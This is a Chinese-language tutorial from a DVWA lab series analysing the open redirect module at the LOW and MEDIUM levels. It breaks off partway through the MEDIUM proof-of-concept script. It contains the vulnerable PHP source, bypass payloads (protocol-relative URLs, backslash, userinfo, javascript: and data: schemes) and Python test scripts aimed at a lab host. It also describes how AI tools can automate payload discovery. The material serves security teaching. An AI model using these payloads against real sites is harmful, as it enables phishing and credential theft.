从直接重定向到白名单验证:DVWA 开放重定向模块完整漏洞分析教程

文章目录

📌 本文是专栏「DVWA通关全记录:从漏洞复现到安全防御」的第 17 篇文章。

一、概述

1、什么是开放重定向?

开放重定向(Open HTTP Redirect,CWE-601)是指 Web 应用接收用户可控的参数作为重定向目标,且未对目标地址进行充分校验,导致攻击者可以构造恶意链接将用户重定向到任意第三方站点。

典型攻击场景:

复制代码
正常链接:  http://example.com/redirect.php?to=/dashboard
恶意链接:  http://example.com/redirect.php?to=https://evil-phishing.com

用户点击恶意链接后,浏览器执行 302 跳转,将用户从可信站点引至钓鱼页面。由于 URL 的前半部分是用户信任的 example.com,用户往往不会注意后半部分已被篡改。

2、本模块的核心漏洞

DVWA 的开放重定向模块(vulnerabilities/open_redirect/)通过四个安全级别展示了一条从"零防护"到"服务端白名单"的防御演进路径:

级别 防护策略 漏洞
LOW 无校验,直接拼入 Location 完全开放重定向
MEDIUM 正则黑名单过滤 http(s):// 协议相对 URL、反斜杠、URL 用户信息等绕过
HIGH strpos 子串匹配 info.php 查询参数、路径、用户信息、遍历四类绕过
Impossible 服务端数字 ID → switch/case 白名单映射

3、攻击链路

复制代码
攻击者构造钓鱼链接(含可信域名前缀)
    → 受害者点击(URL 以可信域名开头,降低警惕)
    → 服务端 302 跳转到第三方钓鱼站
    → 钓鱼页面模仿可信站点收集凭据
    → 攻击者获取用户密码/Token

二、LOW 级别 ------ 无验证重定向

1、漏洞描述

LOW 级别的重定向处理文件 source/low.php 直接将用户传入的 redirect 参数拼入 HTTP Location 响应头,不进行任何校验。攻击者可以通过构造 URL 将用户重定向到任意第三方站点,构成完整的开放重定向漏洞。

核心问题

  • 无任何输入验证或过滤
  • 无白名单或黑名单检查
  • 攻击者可以重定向到任意 URL
  • 用户输入直接拼入 Location

2、查看网页源代码

php 复制代码
<?php

if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
    header ("location: " . $_GET['redirect']);
    exit;
}

http_response_code (500);
?>
<p>Missing redirect target.</p>
<?php
exit;
?>

3、分析网页源代码

(1)代码概述

LOW 级别的后端逻辑极其简单(仅 3 行核心代码):

代码 作用
3 if (array_key_exists("redirect", $_GET) && $_GET['redirect'] != "") 检查参数存在且非空
4 header("location: " . $_GET['redirect']) 直接拼接 → 开放重定点
5 exit 终止后续输出

逻辑流程:

  • 检查 $_GET['redirect'] 是否存在且不为空
  • 没有任何验证或过滤,直接将其作为 header("location: ...") 的参数
  • 如果参数不存在,返回 500 错误并显示 Missing redirect target. 提示

header() 函数本身不校验目标地址是否为站内路径,因此任何合法的 URL 或路径都能被接受。

(2)漏洞分析

① 漏洞一 ------ 完全无输入验证

问题分析$_GET['redirect'] 是完全用户可控的输入,直接拼入 Location 头且无任何过滤。redirect 参数未经过任何验证,直接用于构造重定向响应。攻击者可以构造任意 URL,包括外部站点、伪协议、数据 URI 等。

② 漏洞二 ------ 可重定向到任意外部站点

问题分析 :攻击者可以将用户重定向到任意第三方网站,实施钓鱼攻击。header("location: " . $_GET['redirect']) 这一行代码本身就是漏洞------不是缺少了什么检查,而是这个写法本身就是错的。index.php 中链接的 href 直接暴露了 source/low.php?redirect=... 的格式,攻击者甚至不需要审查 JS 代码,只需看一眼链接就能构造出完整的攻击 URL------这比 DVWA JavaScript 模块(需要逆向前端算法)和授权绕过模块(需要发现隐藏菜单)的入口成本更低。

③ 漏洞三 ------ 可构造恶意 URL 升级为 XSS

问题分析 :攻击者只需构造以可信域名开头的 URL,通过 redirect 参数指向恶意网站。更严重的是,将 redirect 参数替换为 javascript:alert(1),服务端会返回 302 Location: javascript:alert(1)------开放重定向可直接升级为 XSS。虽然现代 Chrome 已禁止从 Location 头执行 javascript: 伪协议,但在旧浏览器或特定上下文中仍可能触发。

4、操作步骤

(1)前置准备

  1. 浏览器访问 http://dvwa.cc/login.php,用 gordonb / abc123 登录
  2. 左侧菜单 DVWA Security → 下拉选 lowSubmit
  3. 访问 http://dvwa.cc/vulnerabilities/open_redirect/,页面显示两个链接:Quote 1Quote 2
    • 页面链接格式:source/low.php?redirect=info.php?id=1 ------ 攻击者只需看一眼链接就能构造完整攻击 URL

(2)正常重定向基线

地址栏输入:

text 复制代码
http://dvwa.cc/vulnerabilities/open_redirect/source/low.php?redirect=info.php?id=1

预期结果 :浏览器跳转到 info.php?id=1,页面显示黑客名言 1。

实测结果(浏览器导航验证):

text 复制代码
请求 URL: .../source/low.php?redirect=info.php?id=1
跳转后 URL: .../source/info.php?id=1
页面标题: Vulnerability: Open HTTP Redirect :: DVWA

实测结果(HTTP 层捕获):

text 复制代码
Status  : 302
Location: info.php?id=1

(3)开放重定向攻击------外部 URL

地址栏输入:

text 复制代码
http://dvwa.cc/vulnerabilities/open_redirect/source/low.php?redirect=https://www.baidu.com

预期结果 :浏览器跳转到 https://www.baidu.com------可信域名 dvwa.cc 的服务端主动将用户跳转到外部站点。

实测结果(浏览器导航验证):

text 复制代码
请求 URL: .../source/low.php?redirect=https://www.baidu.com
跳转后 URL: https://www.baidu.com/
页面标题: 百度一下,你就知道

实测结果(HTTP 层捕获):

text 复制代码
Status  : 302
Location: https://www.baidu.com

踩坑 ①:用不存在的域名 evil.example.com 会得到 ERR_NAME_NOT_RESOLVED

如果地址栏输入 redirect=https://evil.example.com,浏览器会跟随 302 跳转,但因为 evil.example.com 域名不存在(DNS 解析失败),浏览器显示 ERR_NAME_NOT_RESOLVED (-105) 错误页面。这证明了 302 跳转确实发生 ------浏览器确实尝试访问外部域,只是 DNS 解析失败。但为了让读者直观看到"跳到了外部站点",建议用真实存在的域名(如 www.baidu.com)做演示。

(4)协议相对 URL

地址栏输入:

text 复制代码
http://dvwa.cc/vulnerabilities/open_redirect/source/low.php?redirect=//www.baidu.com

预期结果 :浏览器跳转到 https://www.baidu.com------//www.baidu.com 是协议相对 URL,浏览器继承当前协议自动补全。

实测结果(浏览器导航验证):

text 复制代码
请求 URL: .../source/low.php?redirect=//www.baidu.com
跳转后 URL: https://www.baidu.com/
页面标题: 百度一下,你就知道

实测结果(HTTP 层捕获):

text 复制代码
Status  : 302
Location: //www.baidu.com

//www.baidu.com 是协议相对 URL(Protocol-Relative URL),浏览器会继承当前页面的协议自动补全为 http://www.baidu.com,百度再强制 HTTPS 升级为 https://www.baidu.com。这种写法在后续 MEDIUM 级别中成为主要绕过手段。

(5)空参数验证(对照组)

地址栏输入:

text 复制代码
http://dvwa.cc/vulnerabilities/open_redirect/source/low.php?redirect=

预期结果 :服务端返回 500 错误,显示 Missing redirect target.

实测结果

text 复制代码
Status  : 500
Body    : <p>Missing redirect target.</p>

空参数被 $_GET['redirect'] != "" 拦截,返回 500。这是 LOW 级别唯一的"校验"------检查非空。

(6)F12 控制台与伪协议验证

地址栏输入:

text 复制代码
http://dvwa.cc/vulnerabilities/open_redirect/source/low.php?redirect=javascript:alert(1)

预期结果 :服务端返回 302 Location: javascript:alert(1),开放重定向升级为潜在 XSS(现代 Chrome 已禁止从 Location 头执行 javascript: 伪协议)。

实测结果(HTTP 层捕获):

text 复制代码
Status  : 302
Location: javascript:alert(1)

踩坑 ②:fetch + redirect: 'manual' 在 Chrome 中无法读取 Location 头

原计划在控制台用 fetch('source/low.php?redirect=https://evil.com', {redirect: 'manual'}).then(r => console.log(r.status, r.headers.get('Location'))) 捕获 302 状态码和 Location 头。实际执行返回 undefined ------Chrome 的 redirect: 'manual' 模式返回 opaqueredirect 响应类型,出于安全策略,r.headers.get('Location') 返回 nullr.status 返回 0。这是浏览器的安全限制,不是代码写错了。

替代方案 :直接在地址栏导航到测试 URL,观察浏览器最终 URL 是否跳转到外部域------这是最直观的验证方式。HTTP 层的精确状态码和 Location 头用 Python requests 库(allow_redirects=False)捕获。

5、Python------PoC脚本

python 复制代码
#!/usr/bin/env python3
"""
DVWA Open HTTP Redirect - LOW Level PoC
验证: 正常重定向 + 开放重定向 + 协议相对URL + 空参数对照
"""

import requests
import re
import sys

BASE_URL = "http://dvwa.cc"
USERNAME = "gordonb"
PASSWORD = "abc123"
EVIL_URL = "https://evil.example.com"

def login(session):
    r = session.get(f"{BASE_URL}/login.php", timeout=10)
    token = re.search(r"name='user_token' value='([^']+)'" , r.text)
    token_val = token.group(1) if token else ""
    r = session.post(f"{BASE_URL}/login.php", data={
        "username": USERNAME, "password": PASSWORD,
        "user_token": token_val, "Login": "Login"
    }, timeout=10, allow_redirects=False)
    return r.status_code in (302, 200)

def set_level(session, level):
    session.cookies.set("security", level, domain="dvwa.cc")
    r = session.get(f"{BASE_URL}/security.php", timeout=10)
    token = re.search(r"name='user_token' value='([^']+)'" , r.text)
    token_val = token.group(1) if token else ""
    session.post(f"{BASE_URL}/security.php", data={
        "security": level, "seclev_submit": "Submit",
        "user_token": token_val
    }, timeout=10)
    return session.cookies.get("security") == level

def test_redirect(session, payload, desc):
    url = f"{BASE_URL}/vulnerabilities/open_redirect/source/low.php?redirect={payload}"
    r = session.get(url, timeout=10, allow_redirects=False)
    status = r.status_code
    location = r.headers.get("Location", "(none)")
    print(f"  [{desc}]")
    print(f"    Payload : redirect={payload}")
    print(f"    Status  : {status}")
    print(f"    Location: {location}")
    if status == 302 and "evil" in str(location):
        print(f"    Verdict : OPEN REDIRECT CONFIRMED")
    elif status == 302:
        print(f"    Verdict : Safe redirect (intra-site)")
    else:
        print(f"    Verdict : Blocked/Error ({status})")
    print()
    return status, location

def run():
    session = requests.Session()
    print("=" * 55)
    print("  LOW Level - Open HTTP Redirect PoC")
    print("=" * 55)

    if not login(session):
        print("  [FAIL] Login failed")
        sys.exit(1)
    print("  [OK] Login successful (gordonb)")

    if not set_level(session, "low"):
        print("  [WARN] Level set failed, trying anyway...")
    else:
        print("  [OK] Security level: low")
    print()

    # 测试矩阵
    test_redirect(session, "info.php?id=1", "Normal redirect (baseline)")
    test_redirect(session, EVIL_URL, "Open redirect to external URL")
    test_redirect(session, "//evil.example.com", "Protocol-relative URL")
    test_redirect(session, "", "Empty parameter (control)")

    print("=" * 55)
    print("  Conclusion: LOW level has NO validation.")
    print("  Any URL in redirect= param triggers 302 to that URL.")
    print("=" * 55)

if __name__ == "__main__":
    run()

脚本说明

这个 PoC 脚本的核心设计思路是: requests 库模拟浏览器行为,但拒绝跟随 302 跳转------因为我们要捕获的不是"跳转后看到了什么页面",而是"服务端是否返回了 302 以及 Location 头里写了什么"

编写逻辑详解

功能模块 说明
login(session) 自动登录 DVWA(带 CSRF token)
set_level(session, level) 切换安全级别(设置 security cookie)
test_redirect(session, payload, desc) 发送请求并检测是否返回 302 重定向
检测逻辑 检查响应状态码和 Location 头,区分站内/外部跳转
反检测策略 allow_redirects=False 不跟随跳转,直接捕获 302

(1)登录逻辑------为什么需要 CSRF token?

DVWA 的登录表单和所有功能页面都带 CSRF 防护(user_token),直接 POST username/password 不带 token 会被拒绝。脚本分两步完成登录:

python 复制代码
# 第一步:GET 登录页面,从 HTML 中提取 user_token
r = session.get(f"{BASE_URL}/login.php", timeout=10)
token = re.search(r"name='user_token' value='([^']+)'" , r.text)

为什么用正则 name='user_token' value='([^']+)' 而不是用 BeautifulSoup 解析 HTML?因为 DVWA 的登录表单 HTML 结构简单且固定,正则更快、依赖更少------不需要额外安装 bs4,只要 requestsre 两个标准依赖就能跑。

python 复制代码
# 第二步:POST 登录请求,带 token
r = session.post(f"{BASE_URL}/login.php", data={
    "username": USERNAME, "password": PASSWORD,
    "user_token": token_val, "Login": "Login"
}, timeout=10, allow_redirects=False)

allow_redirects=False 在这里也很关键------DVWA 登录成功后返回 302 跳转到 index.php,如果不设这个参数,requests 会自动跟随跳转,导致 r.status_code 变成 200 而非 302,登录状态判断会出问题。设为 False 后,302 = 登录成功,其他 = 失败。

(2)设置安全级别------为什么先 set cookie 再 POST?

python 复制代码
def set_level(session, level):
    session.cookies.set("security", level, domain="dvwa.cc")
    r = session.get(f"{BASE_URL}/security.php", timeout=10)
    token = re.search(r"name='user_token' value='([^']+)'" , r.text)
    session.post(f"{BASE_URL}/security.php", data={
        "security": level, "seclev_submit": "Submit",
        "user_token": token_val
    }, timeout=10)
    return session.cookies.get("security") == level

DVWA 的安全级别存储在 security cookie 中。脚本先预置 cookiesession.cookies.set),再 GET security.php 页面提取 CSRF token,最后 POST 提交。两步缺一不可:只 set cookie 不 POST,服务端不会刷新 session 中的级别记录;只 POST 不 set cookie,请求中的 cookie 可能不匹配。两者都做完后,用 session.cookies.get("security") 回读验证,确保级别确实设成功了------如果网络波动导致 POST 失败,这里会返回 False,脚本会打印 [WARN] 但继续执行(容错设计)。

(3)核心检测函数------为什么用 allow_redirects=False

python 复制代码
def test_redirect(session, payload, desc):
    url = f"{BASE_URL}/vulnerabilities/open_redirect/source/low.php?redirect={payload}"
    r = session.get(url, timeout=10, allow_redirects=False)
    status = r.status_code
    location = r.headers.get("Location", "(none)")

这是整个 PoC 最关键的设计:allow_redirects=Falserequests 在收到 302 时不自动跟随跳转,而是停在原地 ,把 302 状态码和 Location 头原样返回。如果设为 True(默认值),requests 会跟随跳转到 Location 指定的 URL------如果跳转到外部站(如 https://evil.example.com),requests 会真的去访问那个外部站,不仅浪费时间,还可能因为 DNS 解析失败而抛出异常。

判定逻辑的设计------三层判定:

python 复制代码
if status == 302 and "evil" in str(location):
    print(f"    Verdict : OPEN REDIRECT CONFIRMED")      # 302 + Location 含外部域 = 漏洞
elif status == 302:
    print(f"    Verdict : Safe redirect (intra-site)")     # 302 + Location 不含外部域 = 正常跳转
else:
    print(f"    Verdict : Blocked/Error ({status})")       # 非302 = 被拦截或报错

判定条件 "evil" in str(location) 用的是简单字符串匹配------因为测试 payload 中的外部域名都包含 evil 字样。这个设计简化了判定逻辑:只要 Location 里有 evil,就说明服务端把用户传入的外部 URL 放进了重定向头,开放重定向确认。

(4)测试矩阵的设计逻辑

python 复制代码
test_redirect(session, "info.php?id=1", "Normal redirect (baseline)")    # 基线
test_redirect(session, EVIL_URL, "Open redirect to external URL")          # 核心攻击
test_redirect(session, "//evil.example.com", "Protocol-relative URL")       # 协议相对
test_redirect(session, "", "Empty parameter (control)")                    # 对照组

四个测试按基线 → 攻击 → 变体 → 对照的逻辑排列:

  1. 基线info.php?id=1):确认正常重定向功能工作------如果基线都不返回 302,说明登录或级别设置出了问题,后续测试无意义
  2. 核心攻击https://evil.example.com):直接传外部 URL,这是开放重定向最本质的验证
  3. 变体//evil.example.com):协议相对 URL,为后续 MEDIUM 级别的绕过做铺垫------同一个 payload 在不同级别下的行为差异是差分分析的基础
  4. 对照组 (空参数):验证"无输入"时的行为,确认服务端至少有非空检查------这是 LOW 级别唯一的"校验"

6、AI视角下的开放重定向检测

AI 自动化检测:开放重定向的端点发现与 Payload 矩阵验证

在 AI 自动化安全测试中,开放重定向是最适合机器自动化检测的漏洞类型之一------它的判定逻辑极其清晰:如果服务端基于用户输入返回了 302 Location 头,且目标不在同源白名单内,则判定为开放重定向。 以下是 AI 自动化检测的完整流程设计。

(1)端点发现与 Payload 矩阵生成

AI 首先需要找到重定向端点。方法有三层:

  1. 页面爬取 :访问模块入口页 open_redirect/,提取所有 <a href> 链接,识别出 source/low.php?redirect=... 的参数模式。本模块中,端点发现极其简单------页面 HTML 直接暴露了 source/low.php?redirect=info.php?id=1 的完整链接格式,AI 只需一次正则 href='source/([^']+)\?redirect=([^']+)' 即可提取出参数名和端点路径。
  2. 参数名猜测 :在已知端点的基础上,尝试 redirecturltotargetnextreturngoto 等常见重定向参数名。
  3. JS 分析 :审查页面加载的 JavaScript 文件,搜索 window.locationlocation.hreflocation.replace 等重定向 API 调用。

随后 AI 根据"重定向目标"这一攻击面,自动生成分类化的 payload 矩阵:

类别 Payload 预期绕过场景
绝对外部 URL https://evil.com 无校验(LOW)
HTTP 协议 http://evil.com 无校验(LOW)
协议相对 //evil.com 正则只拦 http(s)😕/(MEDIUM)
反斜杠 \\evil.com 正则不匹配反斜杠(MEDIUM)
URL 用户信息 info.php@evil.com 子串匹配白名单(HIGH)
查询参数绕过 https://evil.com?info.php 子串匹配(HIGH)
路径包含 https://evil.com/info.php 子串匹配(HIGH)
路径遍历 info.php/../../evil.com 子串匹配(HIGH)
JavaScript 伪协议 javascript:alert(1) 无校验(LOW)→ XSS
Data URI data:text/html,<script>alert(1)</script> 无校验(LOW)→ XSS

关键 AI 洞察:payload 矩阵不是静态的------AI 会根据前一级别的绕过结果动态调整 下一级别的 payload。例如,如果 MEDIUM 成功被 //evil.com 绕过,AI 会优先在 HIGH 级别尝试 //evil.com?info.php(组合已验证的绕过技巧)。

(2)差分对比与误报控制

AI 将同一组 payload 矩阵在四个安全级别上分别执行,生成差分矩阵:

Payload LOW MEDIUM HIGH Impossible
https://evil.com ❌ bypass 🔒 blocked 🔒 blocked 🔒 blocked
//evil.com ❌ bypass ❌ bypass 🔒 blocked 🔒 blocked
info.php@evil.com ❌ bypass ❌ bypass ❌ bypass 🔒 blocked
https://evil.com?info.php ❌ bypass 🔒 blocked ❌ bypass 🔒 blocked
1 (numeric ID) ✅ safe ✅ safe 🔒 blocked ✅ safe

差分矩阵让 AI 能自动提取防御演进的规律:黑名单(MEDIUM)从拦 2 种协议前缀到拦不住协议相对 URL 只差一个 payload;子串匹配(HIGH)从"看起来有白名单"到"四类 payload 全破"只差一个 strpos parse_url 的函数选择。

AI 的判定条件极其简洁:

text 复制代码
IF response.status == 302 AND response.Location contains external_domain
THEN verdict = OPEN_REDIRECT
IF response.status == 302 AND response.Location starts with intra_site_path
THEN verdict = SAFE_REDIRECT
IF response.status >= 400 OR (response.status == 200 AND no Location header)
THEN verdict = BLOCKED

这套判定逻辑的误报率极低------302 + 外部域 = 开放重定向,没有歧义。

AI 在 Impossible 级别遇到一个特殊场景:redirect=99 返回 302 Location: https://digi.ninja。如果仅用"302 + 外部域 = 开放重定向"的规则,这会被误报为漏洞。AI 的处理方式:

  1. 检查目标域是否在已知白名单中(digi.ninja 是 DVWA 作者的域名)
  2. 检查输入是否为直接 URL(99 是数字 ID,不是 URL)
  3. 标记为"白名单外部跳转"而非"开放重定向"

这种区分能力是 AI 相比纯脚本扫描的核心优势------脚本只看 302 + 外部域,AI 还看输入与输出的语义关系:用户输入了什么?输出中哪些部分是用户可控的?

7、LOW级别------小结

LOW 级别是开放重定向漏洞的"教科书原型":用户输入直接拼入 Location 头,零校验、零过滤。攻击者只需构造一个以 dvwa.cc 开头的 URL,就能将用户引到任意第三方站点。

核心问题

  • 无任何输入验证或过滤
  • 可重定向到任意外部站点
  • 可用于钓鱼攻击和配合其他漏洞
  • javascript: 等伪协议可将开放重定向升级为 XSS

一句话总结:header("location: " . $_GET['redirect']) 这一行代码本身就是漏洞------不是缺少了什么检查,而是这个写法本身就是错的。

三、MEDIUM 级别 ------ 正则表达式过滤绝对 URL

1、漏洞描述

MEDIUM 级别引入了正则黑名单 /http:\/\/|https:\/\//i,拒绝包含 http://https:// 的重定向目标。然而正则只匹配这两种协议前缀,攻击者使用协议相对 URL(//evil.com)、反斜杠(\\evil.com)、URL 用户信息(info.php@evil.com)等替代写法即可绕过。

核心机制

  • 使用 preg_match("/http:\/\/|https:\/\//i", $_GET['redirect']) 检测绝对 URL
  • 如果包含绝对 URL,返回 500 错误
  • 大小写不敏感(/i 标志)

核心问题

  • 正则表达式存在绕过可能
  • 可通过协议相对 URL、反斜杠、URL 用户信息等方式绕过
  • 黑名单只能列出"已知危险",而浏览器 URL 解析的边界情况几乎是无穷的

2、查看网页源代码

php 复制代码
<?php

if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
    if (preg_match ("/http:\/\/|https:\/\//i", $_GET['redirect'])) {
        http_response_code (500);
        ?>
        <p>Absolute URLs not allowed.</p>
        <?php
        exit;
    } else {
        header ("location: " . $_GET['redirect']);
        exit;
    }
}

http_response_code (500);
?>
<p>Missing redirect target.</p>
<?php
exit;
?>

3、分析网页源代码

(1)代码概述

MEDIUM 级别在 LOW 级别的基础上添加了正则表达式过滤(新增 1 层检查):

代码 作用
4 `if (preg_match("/http:// https:///i", $_GET['redirect']))`
5-8 http_response_code(500); ... "Absolute URLs not allowed." 拦截并报错
10-11 else { header("location: " . $_GET['redirect']); } 不匹配则放行

逻辑流程:

  • 检查 redirect 参数是否存在
  • 使用 preg_match() 检测是否包含 http://https://(不区分大小写)
  • 如果包含,返回错误页面
  • 如果不包含,执行重定向

正则拆解/http:\/\/|https:\/\//i

部分 匹配 注意
http:\/\/ http:// \/ 是 PHP 正则中 / 的转义(因为 / 是定界符)
` ` 逻辑或
https:\/\/ https:// 同上
i 大小写不敏感 HTTP://Https:// 也会被匹配

(2)漏洞分析

① 漏洞一 ------ 大小写绕过失效但仍有缺口

问题分析 :虽然使用了 /i 标志(不区分大小写),HTTP://https:// 都会被拦截。但这只是堵住了两种协议前缀的写法,并未堵住 URL 的所有变体------浏览器接受的重定向目标远不止这两种格式。

② 漏洞二 ------ 协议相对 URL 绕过

问题分析 :正则只匹配 http://https://,但 RFC 3986 定义了"网络路径引用"(Network Path Reference):以 // 开头的 URL 会继承当前页面的协议。因此 //evil.comhttp://dvwa.cc 的上下文中等价于 http://evil.com,但不包含 http:// 字符串。这是正则黑名单的天然缺口。

③ 漏洞三 ------ 反斜杠、URL 用户信息、伪协议绕过

问题分析 :除协议相对 URL 外,浏览器还接受多种不以 http(s):// 开头但能到达外部站点的 URL 格式:

输入 浏览器行为 是否被正则拦截
https://evil.com 跳转到 evil.com ✅ 拦截
http://evil.com 跳转到 evil.com ✅ 拦截
//evil.com 继承当前协议跳转到 evil.com ❌ 绕过
\\evil.com Windows 下被浏览器解释为 evil.com ❌ 绕过
info.php@evil.com URL 用户信息,浏览器跳转到 evil.com ❌ 绕过
javascript:alert(1) 执行 JS(部分浏览器已禁用) ❌ 绕过
data:text/html,... 数据 URI 加载 ❌ 绕过

核心问题:黑名单只能列出"已知危险",而浏览器 URL 解析的边界情况几乎是无穷的。每新增一种浏览器行为,就多一种绕过路径。

绕过示例汇总

Payload 是否被检测 结果
http://evil.com ✅ 被检测 被拦截
https://evil.com ✅ 被检测 被拦截
HTTP://evil.com ✅ 被检测 被拦截
//evil.com ❌ 未检测 绕过!
\\evil.com ❌ 未检测 绕过!
info.php@evil.com ❌ 未检测 绕过!
javascript:alert(1) ❌ 未检测 绕过(XSS)

4、操作步骤

(1)正常重定向基线

地址栏输入:

text 复制代码
http://dvwa.cc/vulnerabilities/open_redirect/source/medium.php?redirect=info.php?id=1

预期结果 :浏览器跳转到 info.php?id=1,站内相对路径不含 http(s)://,正则不匹配,正常放行。

实测结果(浏览器导航验证):

text 复制代码
请求 URL: .../source/medium.php?redirect=info.php?id=1
跳转后 URL: .../source/info.php?id=1
页面标题: Vulnerability: Open HTTP Redirect :: DVWA

实测结果(HTTP 层):

text 复制代码
Status  : 302
Location: info.php?id=1

(2)绝对 URL 被拦截

地址栏输入:

text 复制代码
http://dvwa.cc/vulnerabilities/open_redirect/source/medium.php?redirect=https://www.baidu.com

预期结果 :服务端返回 500 错误,显示 Absolute URLs not allowed.,浏览器 URL 不变。

实测结果(浏览器导航验证):

text 复制代码
请求 URL: .../source/medium.php?redirect=https://www.baidu.com
跳转后 URL: .../source/medium.php?redirect=https://www.baidu.com  ← URL 未变
页面标题: (空)  ← 无302发生,页面停在错误页

实测结果(HTTP 层):

text 复制代码
Status  : 500
Location: (none)
Body    : <p>Absolute URLs not allowed.</p>

正则匹配到 https://,拦截成功。浏览器 URL 没有变化------这是 MEDIUM 级别拦截的直观证据。看起来"安全了"------但真的吗?

(3)协议相对 URL 绕过

地址栏输入:

text 复制代码
http://dvwa.cc/vulnerabilities/open_redirect/source/medium.php?redirect=//www.baidu.com

预期结果 :服务端返回 302 Location: //www.baidu.com,浏览器跳转到 https://www.baidu.com

实测结果(浏览器导航验证):

text 复制代码
请求 URL: .../source/medium.php?redirect=//www.baidu.com
跳转后 URL: https://www.baidu.com/
页面标题: 百度一下,你就知道

实测结果(HTTP 层):

text 复制代码
Status  : 302
Location: //www.baidu.com

//www.baidu.com 不含 http://https://,正则不匹配,直接放行。浏览器收到 Location: //www.baidu.com,自动继承当前协议补全为 http://www.baidu.com,百度再强制升级为 HTTPS。

这是 MEDIUM 级别的核心绕过 ------只多两个字符(去掉 https:),就绕过了整个防护。

(4)反斜杠绕过

踩坑 ③:浏览器地址栏输入 \\ 会被自动规范化为 //

在浏览器地址栏输入 redirect=\\evil.example.com 时,Chrome 会自动将 \\ 规范化为 //,导致实际发送的请求变成 redirect=//evil.example.com------这等于直接用步骤 (3) 的协议相对 URL 绕过了,而非测试反斜杠绕过本身。

要真正测试 \\ 绕过,必须使用 Python requests 库(不做 URL 规范化)或对 \\ 做 URL 编码 %5C%5C

实测结果(使用 Python requests,无 URL 规范化):

text 复制代码
Status  : 302
Location: \\evil.example.com

服务端返回 Location: \\evil.example.com。某些浏览器(特别是 Windows 上的 IE/Edge Legacy)会将 \\evil.example.com 解释为 UNC 路径或自动转换为 //evil.example.com。现代 Chrome 则将其当作相对路径处理,不跳转到外部域。

(5)URL 用户信息绕过

地址栏输入:

text 复制代码
http://dvwa.cc/vulnerabilities/open_redirect/source/medium.php?redirect=info.php@www.baidu.com

预期结果 :服务端返回 302 Location: info.php@www.baidu.com,正则不匹配,HTTP 层绕过成功。注意:浏览器层可能将此 URL 当作相对路径处理,不跳转到外部域(详见下方踩坑 ④)。

实测结果(浏览器导航验证):

text 复制代码
请求 URL: .../source/medium.php?redirect=info.php@www.baidu.com
跳转后 URL: .../source/info.php@www.baidu.com  ← 被当作相对路径!
页面内容: "Missing quote ID."  ← info.php 收到奇怪参数 id=www.baidu.com 报错

实测结果(HTTP 层):

text 复制代码
Status  : 302
Location: info.php@www.baidu.com

踩坑 ④:URL 用户信息绕过在 HTTP 层成功但浏览器层不跳转到外部域

服务端确实返回了 302 Location: info.php@www.baidu.com------正则不匹配,绕过成功。但浏览器在跟随这个 302 时,将 info.php@www.baidu.com 当作相对路径处理 (因为它不以 /http(s):// 开头),解析为 http://dvwa.cc/.../source/info.php@www.baidu.com,而不是跳转到 www.baidu.com

这意味着:

  • HTTP 层 (PoC 脚本):绕过成功 ✅(302 + Location: info.php@evil.com
  • 浏览器层 :不跳转到外部域 ❌(浏览器将 info.php@evil.com 当作站内相对路径)

真实攻击场景中,这个 payload 的效果取决于浏览器版本和 URL 解析行为------旧版浏览器(IE)可能将其解释为外部 URL,现代 Chrome 则不跳转。文档中标注"绕过成功"指的是绕过了服务端的正则检查,而非浏览器实际跳转到外部域。

(6)javascript 伪协议(交叉发现)

地址栏输入:

text 复制代码
http://dvwa.cc/vulnerabilities/open_redirect/source/medium.php?redirect=javascript:alert(1)

预期结果 :服务端返回 302 Location: javascript:alert(1),开放重定向升级为潜在 XSS。

实测结果(HTTP 层):

text 复制代码
Status  : 302
Location: javascript:alert(1)

服务端返回 Location: javascript:alert(1)。现代浏览器(Chrome 88+)已禁止从 HTTP Location 头执行 javascript: 伪协议,但在旧浏览器或特定上下文中仍可能触发 XSS。这是一个从开放重定向升级为 XSS的交叉发现。

5、Python------PoC脚本

python 复制代码
#!/usr/bin/env python3
"""
DVWA Open HTTP Redirect - MEDIUM Level PoC
验证: 黑名单拦截 + 四类绕过(协议相对/反斜杠/用户信息/伪协议)
"""

import requests
import re
import sys

BASE_URL = "http://dvwa.cc"
USERNAME = "gordonb"
PASSWORD = "abc123"

def login(session):
    r = session.get(f"{BASE_URL}/login.php", timeout=10)
    token = re.search(r"name='user_token' value='([^']+)'" , r.text)
    token_val = token.group(1) if token else ""
    r = session.post(f"{BASE_URL}/login.php", data={
        "username": USERNAME, "password": PASSWORD,
        "user_token": token_val, "Login": "Login"
    }, timeout=10, allow_redirects=False)
    return r.status_code in (302, 200)

def set_level(session, level):
    session.cookies.set("security", level, domain="dvwa.cc")
    r = session.get(f"{BASE_URL}/security.php", timeout=10)
    token = re.search(r"name='user_token' value='([^']+)'" , r.text)
    token_val = token.group(1) if token else ""
    session.post(f"{BASE_URL}/security.php", data={
        "security": level, "seclev_submit": "Submit",
        "user_token": token_val
    }, timeout=10)
    return session.cookies.get("security") == level

def test_redirect(session, payload, desc):
    url = f"{BASE_URL}/vulnerabilities/open_redirect/source/medium.php?redirect={payload}"
    r = session.get(url, timeout=10, allow_redirects=False)
    status = r.status_code
    location = r.headers.get("Location", "(none)")
    body = r.text[:80].replace("\n"," ").strip() if status >= 400 else ""
    print(f"  [{desc}]")
    print(f"    Payload : redirect={payload}")
    print(f"    Status  : {status}")
    print(f"    Location: {location}")
    if body:
        print(f"    Body    : {body}")
    if status == 302 and "evil" in str(location):
        print(f"    Verdict : BYPASS - Open redirect to external site!")
    elif status == 302 and "javascript" in str(location).lower():
        print(f"    Verdict : BYPASS - javascript: scheme (potential XSS)")
    elif status == 302:
        print(f"    Verdict : Safe (intra-site)")
    else:
        print(f"    Verdict : Blocked ({status})")
    print()
    return status, location

def run():
    session = requests.Session()
    print("=" * 55)
    print("  MEDIUM Level - Blacklist Bypass PoC")
    print("=" * 55)

    if not login(session):
        print("  [FAIL] Login failed")
        sys.exit(1)
    print("  [OK] Login successful (gordonb)")

    if not set_level(session, "medium"):
        print("  [WARN] Level set failed")
    else:
        print("  [OK] Security level: medium")
    print()

    # 1. 正常重定向
    test_redirect(session, "info.php?id=1", "Normal (baseline)")

    # 2. 绝对URL被拦截
    test_redirect(session, "https://evil.example.com", "Absolute URL (blocked)")

    # 3. 协议相对绕过
    test_redirect(session, "//evil.example.com", "Protocol-relative bypass")

    # 4. 反斜杠绕过
    test_redirect(session, "\\\\evil.example.com", "Backslash bypass")

    # 5. URL用户信息绕过
    test_redirect(session, "info.php@evil.example.com", "Userinfo bypass")

    # 6. javascript伪协议
    test_redirect(session, "javascript:alert(1)", "javascript: scheme")

